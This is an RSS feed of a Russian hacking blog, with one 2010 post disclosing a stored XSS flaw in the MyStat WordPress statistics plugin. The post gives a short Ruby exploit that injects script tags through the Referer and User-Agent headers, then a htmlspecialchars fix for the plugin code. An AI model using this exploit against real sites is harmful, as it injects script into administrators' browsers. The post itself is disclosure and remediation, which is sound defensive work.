<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>по стопам webkill&#039;а &#187; плагин</title>
	<atom:link href="http://blog.lukmus.ru/tag/%d0%bf%d0%bb%d0%b0%d0%b3%d0%b8%d0%bd/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lukmus.ru</link>
	<description>это наш химический дом для печальных жителей Земли</description>
	<lastBuildDate>Sat, 21 Oct 2023 19:10:13 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>активная XSS плагин mystat wordpress</title>
		<link>http://blog.lukmus.ru/2010/08/16/aktivnaya-xss-plagin-mystat-wordpress/</link>
		<comments>http://blog.lukmus.ru/2010/08/16/aktivnaya-xss-plagin-mystat-wordpress/#comments</comments>
		<pubDate>Mon, 16 Aug 2010 02:15:12 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[уязвимости]]></category>
		<category><![CDATA[mystat]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[плагин]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=382</guid>
		<description><![CDATA[Плагин MyStat для WordPress один из самых популярных плагинов статистики посещаемости. Официальная локация плагина &#8211; http://wordpress.org/extend/plugins/mystat/. Актиная XSS наблюдается в таких разделах плагина как &#8216;Рефереры&#8217;, &#8216;Агенты&#8217; итд, короче везде, где наблюдаются данные заголовка HTTP-пакета, разумеется кроме кукисов. Тестировалось на mystat 2.6 (на данный момент последняя версия) и WordPress 2.9.2. Существует отличная от нуля вероятность, что [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/08/download.png"><img class="alignleft size-full wp-image-383" style="margin: 5px 10px;" title="mystat" src="http://blog.lukmus.ru/wp-content/uploads/2010/08/download.png" alt="" width="238" height="158" /></a>Плагин MyStat для WordPress один из самых популярных плагинов статистики посещаемости. Официальная локация плагина &#8211; <a rel="nofollow" href="http://wordpress.org/extend/plugins/mystat/" target="_blank">http://wordpress.org/extend/plugins/mystat/</a>.</p>
<p>Актиная XSS наблюдается в таких разделах плагина как &#8216;Рефереры&#8217;, &#8216;Агенты&#8217; итд, короче везде, где наблюдаются данные заголовка HTTP-пакета, разумеется кроме кукисов.<br />
<span id="more-382"></span><br />
Тестировалось на mystat 2.6 (на данный момент последняя версия) и WordPress 2.9.2. Существует отличная от нуля вероятность, что эта бага актуальна для всех версий WordPress и всех существующих на данный момент версий mystat.</p>
<p><strong>Эксплойт</strong></p>
<p>Эксплойт написан на Ruby, как установить и запустить Ruby читайте в предыдущих статьях этого блога.</p>
<p><code>#!/usr/bin/ruby<br />
require 'net/http'<br />
http = Net::HTTP.new('very.popular.blog.ru', 80)<br />
path = '/'<br />
headers = {<br />
'Referer' ='&lt;script&gt;alert(/XSS/);&lt;/script&gt;',<br />
'User-agent' ='&lt;script&gt;alert(/XSS/);&lt;/script&gt;'}<br />
resp, data = http.get(path, headers)<br />
if resp.code.to_i==200 then puts "Exploiting OK"<br />
else puts "Exploiting failed" end</code></p>
<p><strong>Фикс</strong><br />
Открываем /wp-content/plugins/wp-mystat/mystat.php и фильтруем в функции function myStat_header() html-теги функцией htmlspecialchars():<br />
<code><br />
$US['lang']=htmlspecialchars((string)substr($GLOBALS['_SERVER']['HTTP_ACCEPT_LANGUAGE'],0,2));<br />
$US['user_agent']=htmlspecialchars((string)$GLOBALS['_SERVER']['HTTP_USER_AGENT']);<br />
$US['referer']=(string)isset($GLOBALS['_SERVER']['HTTP_REFERER'])?htmlspecialchars($GLOBALS['_SERVER']['HTTP_REFERER']):'';</code></p>
<p>Здесь приведен не полный список полей, которые надо фильтровать.</p>
<pre>Статья не призывает ни к каким действиям, противоречащим законодательству.
Ответственность за использование материала ложиться только на вас!
</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/08/16/aktivnaya-xss-plagin-mystat-wordpress/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
